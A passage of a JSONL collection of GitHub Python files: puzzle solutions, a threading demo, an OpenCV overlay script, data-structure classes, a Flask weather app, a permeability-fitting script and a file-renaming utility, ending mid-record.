+{"seq_id":"35010533265","text":"import numpy as np\n\n\ndef main():\n result = []\n\n with open(\"input.txt\", \"r\") as f:\n crabs = [int(i) for i in f.readline().split(\",\")]\n\n max_crab_pos = max(crabs)\n min_crab_pos = min(crabs)\n\n # Part 1\n fuel = np.zeros(max_crab_pos + 1, dtype=int)\n for i in range(len(fuel)):\n for crab in crabs:\n fuel[i] += abs(crab - i)\n\n result.append(min(fuel))\n\n # Part 2\n fuel = np.zeros(max_crab_pos + 1, dtype=int)\n for i in range(len(fuel)):\n for crab in crabs:\n fuel[i] += (lambda x: x * (x + 1) / 2)(abs(crab - i))\n\n result.append(min(fuel))\n\n with open(\"output.txt\", \"w\") as f:\n for i in result:\n f.write(f\"{i}\\n\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"sjerzykiewicz/advent_of_code","sub_path":"2021/Day_07/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"9976575435","text":"#!/usr/bin/env python3\n\nimport os\nimport threading\nimport time\n\nTIME_TO_SLEEP = 0.5 # Seconds\nNUMBER_OF_THREADS = 4\n\n\n## Decorator function that adds timing to other functions\ndef time_me(function):\n\tdef inner():\n\t\tstart = time.time()\n\t\tfunction()\n\t\tprint(f\"The code ran in: {time.time()-start} seconds\")\n\treturn inner\n\n# Fcuntion to be multithreaded\ndef threaded_func():\n\tpid = os.getpid()\n\tprint(f'Running on core: {pid}.')\n\n\tfor _ in range(10_000_000):\n\t\tf = (9_999_999.9 * 944_438_468 + 18_468_468)/9_999.26494\n\ttime.sleep(TIME_TO_SLEEP)\n\n@time_me\ndef print_with_threads():\n\tthreads_ = []\n\tfor _ in range(NUMBER_OF_THREADS):\n\t\tthread = threading.Thread(target = threaded_func)\n\t\tthreads_.append(thread)\n\t\tthread.start()\n\n\tfor thread_ in threads_:\n\t\tthread.join()\n\n@time_me\ndef print_normal():\n\tfor _ in range(NUMBER_OF_THREADS):\n\t\tthreaded_func()\n\n\nprint(\"Going to try normal printing!\")\nprint_normal()\n\nprint(\"Going to try multi-threaded printing!\")\nprint_with_threads()","repo_name":"Rad-hi/Python_multi_tasking","sub_path":"threading_example.py","file_name":"threading_example.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"24841693138","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the cutTheSticks function below.\ndef cutTheSticks(arr):\n piecesCount = []\n n = len(arr)\n while n > 0:\n piecesCount.append(n)\n # find the shortest piece\n shortest = min(arr)\n # and how many occurrences of it\n shortestCount = arr.count(shortest)\n # then remove those shortest pieces\n for i in range(shortestCount):\n arr.remove(shortest)\n # which reduces the arr length\n n -= 1\n # cut the remaining sticks by that shortest length\n for i in range(n):\n arr[i] -= shortest\n return piecesCount\n\n\nif __name__ == '__main__':\n try:\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n except KeyError:\n fptr = sys.stdout\n\n n = int(input())\n\n arr = list(map(int, input().rstrip().split()))\n\n result = cutTheSticks(arr)\n\n fptr.write('\\n'.join(map(str, result)))\n fptr.write('\\n')\n\n fptr.close()\n","repo_name":"eggzotic/Hackerrank","sub_path":"CutTheSticks/CutTheSticks.py","file_name":"CutTheSticks.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25579662189","text":"# https://atcoder.jp/contests/abc157/tasks/abc157_e\n# セグメント木\n# 各文字をビットに対応させる(セグ木を26本持っても良い)\nimport sys\nread = sys.stdin.readline\nfrom functools import reduce\n\n\ndef read_a_int():\n return int(read())\n\n\nclass SqrtDecomposedList:\n def __init__(self, ls, segfunc, identity_element):\n from math import sqrt, ceil\n from copy import copy\n self.f = segfunc # queryのfunction\n self.ide = identity_element\n self.n = len(ls)\n self.ls = copy(ls)\n self.b = ceil(sqrt(self.n))\n self.bucket = [self.ide] * (self.b + 1)\n self._build()\n\n def _build(self):\n for d in range(self.b):\n self.bucket[d] = reduce(\n self.f, self.ls[(d * self.b):((d + 1) * self.b)], self.ide)\n # for i, v in enumerate(self.ls):\n # self.bucket[i // self.b] = \\\n # self.f(v, self.bucket[i // self.b])\n\n def __getitem__(self, idx):\n return self.ls[idx]\n\n def update(self, i, x):\n '''i番目の要素をxに更新する O(√n)'''\n self.ls[i] = x\n s = i // self.b * self.b\n t = s + self.b\n # print(i, self.b, i // self.b, s, t)\n self.bucket[i // self.b] = reduce(self.f,\n self.ls[s:t], self.ide)\n\n def query(self, l, r):\n '''半開区間[l,r)で指定すること O(√n)'''\n if r - l < 2 * self.b:\n return reduce(self.f, self.ls[l:r])\n l_bucket = (l - 1) // self.b + 1\n r_bucket = r // self.b # 半開区間なのでこれでいい\n ret = reduce(self.f, self.bucket[l_bucket:r_bucket], self.ide)\n ret = self.f(\n reduce(self.f, self.ls[l:(l_bucket * self.b)], self.ide),\n ret)\n ret = self.f(\n reduce(self.f, self.ls[(r_bucket * self.b):r], self.ide),\n ret)\n return ret\n\n\ndef segfunc(x, y):\n # 処理したい内容\n return x | y\n\n\ndef moji_to_bit(a):\n return 1 << (ord(a) - ord('a'))\n\n\ndef bit_to_sum(n):\n return sum([(n >> i) & 1 for i in range(n.bit_length())])\n\n\nN = read_a_int()\nS = read()[:-1]\nS_bit = [moji_to_bit(s) for s in S]\n\n# build segment tree\nst = SqrtDecomposedList(S_bit, segfunc, 0)\n\nQ = read_a_int()\nfor q in range(Q):\n com, a, b = read().split()\n if int(com) == 1:\n i, c = int(a) - 1, b\n st.update(i, moji_to_bit(c))\n else:\n l, r = int(a) - 1, int(b)\n print(bit_to_sum(st.query(l, r)))\n","repo_name":"masakiaota/kyoupuro","sub_path":"practice/E_ABC/abc157_e/abc157_e_sqrtdecompose.py","file_name":"abc157_e_sqrtdecompose.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"27769252330","text":"import numpy as np\nimport cv2\nimport sys\n\nimagePath = 'E:\\\\projects\\\\python-ai-scripts\\\\CSK_HELMET\\\\face.jpg'\nhelmetImagePath = 'E:\\\\projects\\\\python-ai-scripts\\\\CSK_HELMET\\\\helmet.png'\ncascPath = 'E:\\\\opencv\\\\sources\\\\data\\\\haarcascades\\\\haarcascade_frontalface_default.xml'\n# Create the haar cascade\nfaceCascade = cv2.CascadeClassifier(cascPath)\n#################\n# Load our overlay image: mustache.png\n#imgMustache = cv2.imread('mustache.png',-1)\nimgMustache = cv2.imread(helmetImagePath)\n \n# Create the mask for the mustache\norig_mask = imgMustache[:,:,2]\n \n# Create the inverted mask for the mustache\norig_mask_inv = cv2.bitwise_not(orig_mask)\n \n# Convert mustache image to BGR\n# and save the original image size (used later when re-sizing the image)\nimgMustache = imgMustache[:,:,0:3]\norigMustacheHeight, origMustacheWidth = imgMustache.shape[:2]\n \n\n#################\n# Read the image\nimage = cv2.imread(imagePath)\nimage = np.array(image, dtype=np.uint8)\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# Detect faces in the image\nfaces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30)\n ,flags = cv2.CASCADE_SCALE_IMAGE\n)\n\nprint(\"Found {0} faces!\".format(len(faces)))\n\n\n# Draw a rectangle around the faces\nfor (nx, ny, nw, nh) in faces:\n # The mustache should be three times the width of the nose\n roi_gray = gray[ny:ny+nh, nx:nx+nw]\n roi_color = image[ny:ny+nh, nx:nx+nw]\n \n mustacheWidth = int(5 * nw+50)\n mustacheHeight = mustacheWidth * origMustacheHeight / origMustacheWidth\n\n # Center the mustache on the bottom of the nose\n x1 = nx - (mustacheWidth/4)\n x2 = nx + nw + (mustacheWidth/4)\n y1 = ny + nh - (mustacheHeight/2)\n y2 = ny + nh + (mustacheHeight/2)\n\n # Check for clipping\n if x1 < 0:\n x1 = 0\n if y1 < 0:\n y1 = 0\n if x2 > nw:\n x2 = nw\n if y2 > nh:\n y2 = nh\n\n # Re-calculate the width and height of the mustache image\n mustacheWidth = x2 - x1\n mustacheHeight = y2 - y1\n\n # Re-size the original image and the masks to the mustache sizes\n # calcualted above\n mustache = cv2.resize(imgMustache, (mustacheWidth,mustacheHeight), interpolation = cv2.INTER_AREA)\n mask = cv2.resize(orig_mask, (mustacheWidth,mustacheHeight), interpolation = cv2.INTER_AREA)\n mask_inv = cv2.resize(orig_mask_inv, (mustacheWidth,mustacheHeight), interpolation = cv2.INTER_AREA)\n\n # take ROI for mustache from background equal to size of mustache image\n roi = roi_color[y1:y2, x1:x2]\n\n # roi_bg contains the original image only where the mustache is not\n # in the region that is the size of the mustache.\n roi_bg = cv2.bitwise_and(roi,roi,mask = mask_inv)\n\n # roi_fg contains the image of the mustache only where the mustache is\n roi_fg = cv2.bitwise_and(mustache,mustache,mask = mask)\n\n # join the roi_bg and roi_fg\n dst = cv2.add(roi_bg,roi_fg)\n\n # place the joined image, saved to dst back over the original image\n roi_color[y1:y2, x1:x2] = dst\n\n break\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\ncv2.imshow(\"Faces found\", image)\ncv2.waitKey(0)\n","repo_name":"nekvinder/Python-AI-Scripts","sub_path":"CSK_HELMET/csk-helmet.py","file_name":"csk-helmet.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"21119392094","text":"\"\"\"\nGiven that integers are read from a data stream. Find median of elements read\nso for in efficient way. For simplicity assume there are no duplicates.\nMaking it clear, when the input size is odd, we take the middle element of sorted data.\nIf the input size is even, we pick average of middle two elements in sorted stream.\nNote that output is effective median of integers read from the stream so far.\nSuch an algorithm is called online algorithm. Any algorithm that can guarantee output\nof i-elements after processing i-th element, is said to be online algorithm.\n\"\"\"\nfrom typing import Union\nimport heapq\n\n\nclass RunningMedian:\n \"\"\"A class to get running medians\n Create a min and a max heap.\n The min heap will contain the largest 50% of the elements so far.\n The max heap will contain the smallest 50% of the elements so far.\n If one of the heap contains more elements, it's top element becomes the median,\n else, the mean of two top elements becomes the median.\n Since python only has min heaps, max heap can be implemented as min heap with -ve\n values.\n\n Note: Only positive values are allowed\n \"\"\"\n\n def __init__(self):\n self.min_heap: list = []\n self.len_min: int = 0\n self.max_heap: list = []\n self.len_max: int = 0\n\n def median(self) -> Union[float, int, None]:\n if self.len_max > self.len_min:\n return self.max_heap[0]\n elif self.len_max < self.len_min:\n return self.min_heap[0]\n else:\n try:\n return (self.min_heap[0] + abs(self.max_heap[0])) / 2\n except IndexError:\n print(\"No elements found\")\n\n return None\n\n def running_median(self, value: int) -> Union[int, float, None]:\n \"\"\"\n Time Complexity: O(log(n))\n \"\"\"\n if self.len_min <= self.len_max:\n if self.max_heap and value < abs(self.max_heap[0]):\n value = abs(heapq.heappushpop(self.max_heap, -value))\n\n heapq.heappush(self.min_heap, value)\n self.len_min += 1\n else:\n if value > self.min_heap[0]:\n value = heapq.heappushpop(self.min_heap, value)\n heapq.heappush(self.max_heap, -value)\n self.len_max += 1\n\n return self.median()\n\n\nif __name__ == \"__main__\":\n arr: list = [5, 15, 1, 3]\n sol: list = [5, 10, 5, 4]\n rm = RunningMedian()\n\n for el, s in zip(arr, sol):\n assert rm.running_median(el) == s\n","repo_name":"rrwt/daily-coding-challenge","sub_path":"gfg/sorting_searching/running_median.py","file_name":"running_median.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"11926115271","text":"import sys\ninput = sys.stdin.readline\n\n# [\"POOOP\", \"OXXOX\", \"OPXPX\", \"OOXOX\", \"POXXP\"]\n\ndx_a = [-2,0,2,0]\ndy_a = [0,2,0,-2]\n\ndx_b = [-1,-1,1,1]\ndy_b = [-1,1,1,-1]\n\ndx_c = [-1,0,1,0]\ndy_c = [0,1,0,-1]\n\n\ndef checkKeepDistance(arr, i,j):\n # Case A \n for k in range(4):\n dx = i + dx_a[k]\n dy = j + dy_a[k]\n if(dx >= 0 and dy >= 0 and dx<5 and dy<5):\n if(arr[dx][dy] == 'P'):\n if arr[int((dx + i)/2)][int((dy + j)/2)] != 'X':\n return False\n # Case B\n for k in range(4):\n dx = i + dx_b[k]\n dy = j + dy_b[k]\n if(dx >= 0 and dy >= 0 and dx<5 and dy<5):\n if(arr[dx][dy] == 'P'):\n if not (arr[dx][j] == 'X' and arr[i][dy] == 'X'):\n return False\n # Case C\n for k in range(4):\n dx = i + dx_c[k]\n dy = j + dy_c[k]\n if(dx >= 0 and dy >= 0 and dx<5 and dy<5):\n if(arr[dx][dy] == 'P'):\n return False\n\n return True\n\ndef checkPlace(place):\n arr = []\n for row in place:\n arr.append(list(row))\n\n for i in range(5):\n for j in range(5):\n if arr[i][j] == 'P':\n if not checkKeepDistance(arr,i,j):\n return 0\n return 1\n\n\ndef solution(places):\n answer = []\n for place in places:\n answer.append(checkPlace(place))\n print(answer)\n return answer\n\nif __name__ == \"__main__\":\n places = [[\"POOOP\", \"OXXOX\", \"OPXPX\", \"OOXOX\", \"POXXP\"], [\"POOPX\", \"OXPXP\", \"PXXXO\", \"OXXXO\", \"OOOPP\"], [\"PXOPX\", \"OXOXP\", \"OXPOX\", \"OXXOP\", \"PXPOX\"], [\"OOOXX\", \"XOOOX\", \"OOOXX\", \"OXOOX\", \"OOOOO\"], [\"PXPXP\", \"XPXPX\", \"PXPXP\", \"XPXPX\", \"PXPXP\"]]\n solution(places) # [1, 0, 1, 1, 1]","repo_name":"WonyJeong/wony-algo","sub_path":"programers/kakao2021/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3424329995","text":"from flask import Flask, render_template, request, jsonify\nfrom deneme import get_weather\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n city = request.form['city']\n weather_data = get_weather(city)\n return jsonify(weather_data)\n return render_template('index.html')\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"arsaylik/Weather","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38438104371","text":"# ====================================================================================================\n# Test script for pydrology/data_request_scripts/usgs_data.py\n# ====================================================================================================\n\n# Library imports.\nimport pandas as pd\n\n# Local imports.\nfrom pydrology.acis.acis_request import request_acis_data\n\nclass TestClassAcis:\n def setup(self):\n self.site_id = '304174 2' # Ithaca.\n self.met_elements = ['maxt', 'mint', 'snow', 'avgt', 'pcpn']\n self.start_date = '2022-01-01' # YYYY-mm-dd.\n self.end_date = '2022-01-21'\n\n def test_request_acis_data(self):\n acis_df = request_acis_data(\n self.met_elements,\n self.site_id,\n self.start_date,\n self.end_date\n )\n\n # List of assertion errors.\n errors = []\n # Test if the gage_df is a Pandas DataFrame.\n if not type(acis_df) == pd.DataFrame:\n errors.append('Gage DataFrame not generated.')\n # Test if data frame contains data.\n if acis_df.empty:\n errors.append(\"Gage DataFrame is empty.\")\n # Test if the correct columns are present.\n cols = ['Date', 'MaxTemp', 'MinTemp', 'SnowDepth', 'AvgTemp', 'Precipitation', 'site_id', 'name', 'latitude', 'longitude']\n if set(cols) != set(acis_df.columns):\n errors.append(\"Not all ACIS columns are present.\")\n\n assert not errors, \"Errors occured:\\n{}\".format(\"\\n\".join(errors))","repo_name":"alex-l-young/pydrology","sub_path":"tests/test_acis_data.py","file_name":"test_acis_data.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"28991257378","text":"class Node(object):\n '''A simple implementation of a tree node.\n '''\n __slots__ = ('_parent', 'children', 'data')\n \n def __init__(self, data=None, children=()):\n '''Instantiates a tree Node.\n\n data: The data contained by this node.\n children: An iterable of nodes to add as children to this node.\n '''\n self._parent = None\n self.data = data\n self.children = []\n for child in children:\n self.add(child)\n \n @property\n def parent(self):\n '''The node's parent node, or None. Setting this moves the node.'''\n return self._parent\n \n @parent.setter\n def parent(self, node):\n if node is self._parent:\n pass\n elif node is None:\n if self in self._parent.children:\n self._parent.remove(self)\n self._parent = None\n else:\n if self._parent is not None:\n self._parent.remove(self)\n try:\n self._parent = node\n node.add(self)\n except AttributeError as exc:\n self._parent = None\n raise ValueError(\"node parent must be node or None\") from exc\n \n @property\n def siblings(self):\n '''A view of the children of this node's parent.'''\n return [] if self.parent is None else self.parent.children[:]\n \n def add(self, node):\n '''Adds the given node as a child of this one.'''\n if node not in self.children:\n self.children.append(node)\n node.parent = self\n return self\n \n def __iadd__(self, item):\n '''Adds a given node as a child of this one.'''\n if isinstance(item, Node):\n return self.add(item)\n else:\n return NotImplemented\n \n def remove(self, node):\n '''Removes the given node from this node's children.'''\n try:\n self.children.remove(node)\n except ValueError as exc:\n raise ValueError(\"tree.remove(x): x not in tree\") from exc\n node.parent = None\n return self\n\n def __isub__(self, item):\n '''Removes a given node from this node's children.'''\n if isinstance(item, Node):\n return self.remove(item)\n else:\n return NotImplemented\n \n def detach(self):\n '''Removes this node from its parent node.'''\n self.parent = None\n return self\n \n def replace(self, child, adoptee):\n '''Replace a current child with a new child node.'''\n age = self.children.index(child)\n child.parent = None\n self.children.insert(age, adoptee)\n adoptee.parent = self\n \n def older_siblings(self):\n '''Yields this node's older siblings in increasing order of age.'''\n sibs = reversed(self.siblings)\n for node in sibs:\n if node == self:\n break\n yield from sibs\n \n @property\n def older_sibling(self):\n '''This node's immediate older sibling, or None.'''\n try:\n return next(self.older_siblings())\n except StopIteration:\n return None\n \n def younger_siblings(self):\n '''Yields this node's younger siblings in decreasing order of age.'''\n sibs = iter(self.siblings)\n for node in sibs:\n if node == self:\n break\n yield from sibs\n \n @property\n def younger_sibling(self):\n '''This node's immediate younger sibling, or None.'''\n try:\n return next(self.younger_siblings())\n except StopIteration:\n return None\n\n def __str__(self, depth=0):\n '''Print this node and its tree.'''\n descs = [(\" \" * depth) + str(self.data)]\n child_descs = (child.__str__(depth+1) for child in self.children)\n descs.extend(child_descs)\n return \"\\n\".join(descs)\n \n def __repr__(self):\n desc = \"{0} node ({1} parent, {2} children)\"\n return desc.format(self.data, \"1\" if self._parent is not None\n else \"no\", len(self.children))\n\n def __iter__(self):\n '''Iterates depth-first into this node's tree.'''\n yield self\n for child in self.children:\n yield from iter(child)","repo_name":"liamliwanagburke/ispeakregex","sub_path":"tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":4330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2832400806","text":"# author: Furkan Cayci\n# description:\n# gradient descent implementation over 1 parameter\n# on lims -14 takes a long time to fill, threshold should be\n# somewhat relevant. if values are between -12 and -8, it should\n# work fine.\n#\n# result:\n# Success average is 10.52 iterations over 100 trials for python impl.\n# Success average is 10.4 iterations over 100 trials for lims\n# with gammax=.8, nodesize=(11,21), boardsize=(.2,.4), threshold=1\n\nimport numpy as np\nfrom common import *\nfrom lims_common import *\nimport logging\n\n# set print logging level: INFO, WARNING, ERROR\nlogging.basicConfig(format='%(message)s', level=logging.INFO)\n\nBOARDSIZE = (0.2, 0.4) # board size in meters (y, x)\nNODESIZE = (11, 21) # number of nodes in each direction (y, x)\ntrials = [] # array to hold trial numbers for each run\ncosts = [] # array to hold the costs for each run\nbackend = 'LIMS' # choose backend : LIMS or XXX\nthreshold = 1 # l2 norm threshold\nn_of_iters = 40000 # max number of iterations before giving up\n\n# create a target kxx vector to test between given log space\n# e.g: 100 kxx values between 1e-12 and 1e-8\nk = np.logspace(-12, -8, 100)\n\nlogging.info('kxx values that are being tested:\\n{}'.format(k))\nlogging.warning('testing for {} values'.format(len(k)))\n\nm = lambda : np.ones(NODESIZE[1])\n\nfor r, kxx_t in enumerate(k):\n\n # create target flowfront\n c = Coeffs(mu=0.1, fi=0.5, deltaP=1e5)\n p_t = PMap(kxx=m()*kxx_t)\n\n # set up the gates\n # w : west\n # nw : north west\n # sw : south west\n gatenodes = set_gatenodes(NODESIZE, 'w')\n\n # calculate target flow time\n if backend == 'LIMS':\n ft_t, pt_t = lims_flowtime(BOARDSIZE, NODESIZE, p_t, c, 'target', gatenodes)\n else:\n ft_t, pt_t = calculate_flowtime(BOARDSIZE, NODESIZE, p_t, c, 'target', gatenodes)\n\n # initial educated guess.\n # Making this a big number helps with the iteration counts\n kxx_cur = 5e-8\n p = PMap(kxx=m()*kxx_cur) # current guess\n kxx_prev = 6e-8\n pp = PMap(kxx=m()*kxx_prev) # previous guess\n\n gammax = 0.8\n\n cost = 0\n pcost = 0\n mcost = 0\n ncost = 0\n costs = []\n\n for t in range(n_of_iters):\n\n l = '' # this is the logger string\n if backend == 'LIMS':\n ft, pt = lims_flowtime(BOARDSIZE, NODESIZE, p, c, 'trial', gatenodes)\n else:\n ft, pt = calculate_flowtime(BOARDSIZE, NODESIZE, p, c, 'trial', gatenodes)\n\n pcost = cost\n cost = np.linalg.norm(ft_t - ft, 2)\n costs.append(cost)\n mcost = max(mcost, cost)\n ncost = abs(cost) / mcost\n\n l += '{:5} '.format(t)\n l += 'x: {:10.4e} '.format(kxx_cur)\n l += 'cost: {:10.4e} '.format(cost)\n l += 'normcost: {:7.6e} '.format(ncost)\n\n if cost < threshold:\n logging.info(l)\n l = 'SUCCESS in {} iterations '.format(t)\n l += 'kxx target was {}'.format(kxx_t)\n logging.warning(l)\n\n trials.append(t)\n t = 'cost function for target kxx: {:14.4e}'.format(kxx_t)\n #plot_item(costs[1:], t)\n #print('lims', ft_t)\n #print('model', ft)\n t = 'Flowfront when kxx: {:14.4e}'.format(kxx_t)\n show_imgs(ft_t, ft, t)\n break\n\n update = np.sign(kxx_prev - kxx_cur) * np.sign(pcost - cost) * kxx_cur * gammax * ncost\n if update == 0:\n logging.error('FAIL: update value reached to 0')\n exit()\n pp.kxx = m() * kxx_cur\n kxx_cur -= update\n p.kxx = m() * kxx_cur\n l += 'update: {: 10.5e}'.format(update)\n logging.info(l)\n\n else:\n #print('lims', ft_t)\n #print('model', ft)\n logging.info(l)\n l = 'FAIL in {}th trial. '.format(r)\n l += 'kxx target was {}. '.format(kxx_t)\n l += 'we ended at {}'.format(kxx_cur)\n logging.error(l)\n break\n\nelse:\n logging.error('Success average is {} iterations over {} trials'.format(np.mean(trials), len(k)))\n","repo_name":"fcayci/flowfront","sub_path":"misc/ft-gd-1p.py","file_name":"ft-gd-1p.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12251067272","text":"__author__ = 'Baxter'\nimport re\n\n\ndef sorter(daInput): # function replaces vowels and\n\n searcher = [r\"u[\\(\\)][rg]\", r\"g+|l+|r+|s+|v+|ng|[ckmnpqtwy]\", r\"[aiu]\"] # goes through each item then replaces with\n replacer = [r\"D\", r\"C\", r\"V\"] # D, C, or V\n\n for x in range(0, 3):\n daInput = re.sub(searcher[x], replacer[x], daInput)\n\n return daInput\n\n\ndef autofinder(gemmy):\n if re.search(r\"[Ve][CD]VV\", gemmy): # is there gemination\n return True\n else:\n return False\n\n\ndef tiago(splitter):\n searches = [r\"C'\", r\"CC\", r\"DC\", r\"(? 0:\n if separator[item] == \"Op\" and separator[item - 1] == \"Op\":\n separator[item] = \"Len\"\n if separator[item] == \"Op\" and separator[item - 1] == \"Gem\":\n separator[item] = \"Cl\"\n\nif autofinder(word) and auto:\n for i in auto:\n if separator[i] == \"Op\":\n separator[i] = \"Gem\"\n\nseparator[len(separator) - 1] = \"Dwn\" # always down\nfinal = '|'.join(separator)\n\nprint(final)\n\ninput(\"Press to enter to exit\")\n","repo_name":"b0ndman/Yupik-syllabication","sub_path":"testy.py","file_name":"testy.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"102779792","text":"import requests\nimport json\n\nupdatesUrl = 'https://api.telegram.org//getUpdates'\nuserId = ''\n\ndata = {\n 'offset': ''\n}\n\nanswer = requests.post(updatesUrl, data=data)\nresponseData = json.loads(answer.text)\nif responseData['ok']:\n if responseData['result']:\n for result in responseData['result']:\n userId = result['message']['from']['id']\nelse:\n print(\"COULD NOT RETRIEVE ID\")\n\nprint(userId)\n","repo_name":"AlessioPlease/telegramegle","sub_path":"telegramegle/telegramSetup.py","file_name":"telegramSetup.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"27267405850","text":"#!/usr/bin/python\n\nWRONG_FILE = 0;\nTRUE = 1;\nFALSE = 0;\nVERBOSE = FALSE;\n\nimport sys;\nimport os;\nimport re\nimport time\n\ndef getOptions():\n\tglobal VERBOSE\n\tif len(sys.argv) > 2:\n\t\tprint(sys.argv[2]);\n\t\tif sys.argv[2]== \"-v\" or sys.argv[2] == \"-V\":\n\t\t\tVERBOSE = TRUE;\n\ndef printHere(myText):\n\tif VERBOSE == TRUE:\n\t\tprint(myText);\n\ndef getFileList():\n\t\"\"\"\n\tGets the list of files in the actual folder\n\t\"\"\"\n\treturn os.listdir(\".\");\n\ndef getBaseName():\n\t\"\"\"\n\tget the base name. if there is no base name, it will return \"baseName\"\n\t\"\"\"\n\tif len(sys.argv) > 1:\n\t\treturn sys.argv[1];\n\treturn \"image\";\n\t\ndef generateName(fileName, baseName, extension, i):\n\t\"\"\"\n\tGenerate the name of the actual file in the following format: year.month.day_baseName_fileNumber_extension\n\t\"\"\"\n\tif i<10:\n\t\tmyCounter = \"0\" + str(i);\n\telse:\n\t\tmyCounter = str(i);\n\treturn time.strftime(\"%Y.%m.%d\", time.gmtime(os.path.getmtime(fileName))) + \"_\" + baseName + \"_\" + myCounter + extension;\n\t\ndef renameFile(oldName, newName):\n\t\"\"\"\n\trename a file in the hard drive\n\t\"\"\"\n\tos.rename(oldName, newName);\n\tprintHere (\"The file \" + oldName + \" has been renamed as \" + newName);\n\t\ndef getOriginalExtension(fileName):\n\t\"\"\"\n\tExtracts the extension of the file we are studying\n\t\"\"\"\n\textension = WRONG_FILE;\n\tif len(fileName) >= 4:\n\t\textension = fileName[-4:]; #we get the last 4 chars of the string - to test if it works\n\t\tif re.search(\".py\", extension) != None or re.search(\".exe\", extension):\n\t\t\treturn WRONG_FILE;\n\treturn \".jpg\";\n\ndef nameAlreadyExist(newName, fileList):\n\t\"\"\"\n\tSearch for any name that already exist\n\t\"\"\"\n\tfor fileName in fileList:\n\t\tif fileName == newName:\n\t\t\treturn TRUE;\n\treturn FALSE;\n\t\ndef changeNames(fileList):\n\t\"\"\"\n\tChanges the names of all the jpg, gif or png files\n\t\"\"\"\n\tbaseName = getBaseName();\n\ti=0;\n\tfor fileName in fileList:\n\t\textension = getOriginalExtension(fileName);\n\t\tif extension != WRONG_FILE:\n\t\t\tnewName = generateName(fileName, baseName, extension, i);\n\t\t\tif nameAlreadyExist(newName,fileList) == FALSE:\n\t\t\t\trenameFile(fileName, newName);\n\t\t\telse:\n\t\t\t\tprintHere(\"ALERT! the name \" + newName + \" already exists in this folder\")\n\t\ti=i+1;\n\t\t\ndef executeProgram():\n\t\"\"\"\n\tExecutes the program\n\t\"\"\"\n\tgetOptions();\n\tfileList = getFileList();\n\tchangeNames(fileList);\t\n\ndef testHelp():\n\t\"\"\"\n\tTests if the user is asking for the help manual\n\t\"\"\"\n\tif len(sys.argv) > 1:\n\t\tif sys.argv[1]== \"-?\" or sys.argv[1]== \"?\":\n\t\t\treturn TRUE;\n\ndef printHelp():\n\tprint(\"\");\n\tprint(\"This is a program that changes names of all the jpg, png or gif files in the folder it is stored\");\n\tprint(\"The sintax is the following:\");\n\tprint(\"\");\n\tprint(\" changeName.py [baseName] [-v or -V]\");\n\tprint(\"\");\n\tprint(\"- [baseName] is the new base name that will be used to generate the new names for the files \");\n\tprint(\"- adding -v as second input parameter makes the program to show you extra information of all the operation it is doing\")\n\tprint(\"\");\n\tprint(\"New names will have the following extructure: year.month.day_baseName_number_extension\");\n\t\n\"\"\"MAIN PROGRAM\"\"\"\n\nif testHelp() == TRUE:\n\tprintHelp();\nelse:\n\texecuteProgram();\n\n\n\n\"\"\"\nif len(sys.argv) > 1:\n\tfileToOpen = sys.argv[1];\n\tprint (\"renaming the file\", fileToOpen);\n\ti = 0;\n\tfor fileName in os.listdir(\".\"):\n\t\textension = getOriginalExtension(fileName);\n\t\tif extension != WRONG_FILE:\n\t\t\tnewName = generateName(\"_imageFile\");\n\t\t\trenameFile(fileName, testName);\n\t\t\ti = i + 1;\n\t#myFile = open(fileToOpen, \"w\");\n\t#exec(myFile.read());\nelse:\n\tprint (\"write something to open\");\n\n#print (\"Number of arguments:\", len(sys.argv), 'arguments.');\n#print (\"Argument List:\", str(sys.argv));\n#print (sys.argv[1]);\n\"\"\"\n\n","repo_name":"ancodeUDW/matlab-Viola-and-Jones-Implementation","sub_path":"img/faces/old_sets/training set/2013.12.27_image_175s.py","file_name":"2013.12.27_image_175s.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"28590213428","text":"import pytest\n\n\n@pytest.fixture(scope=\"module\")\ndef 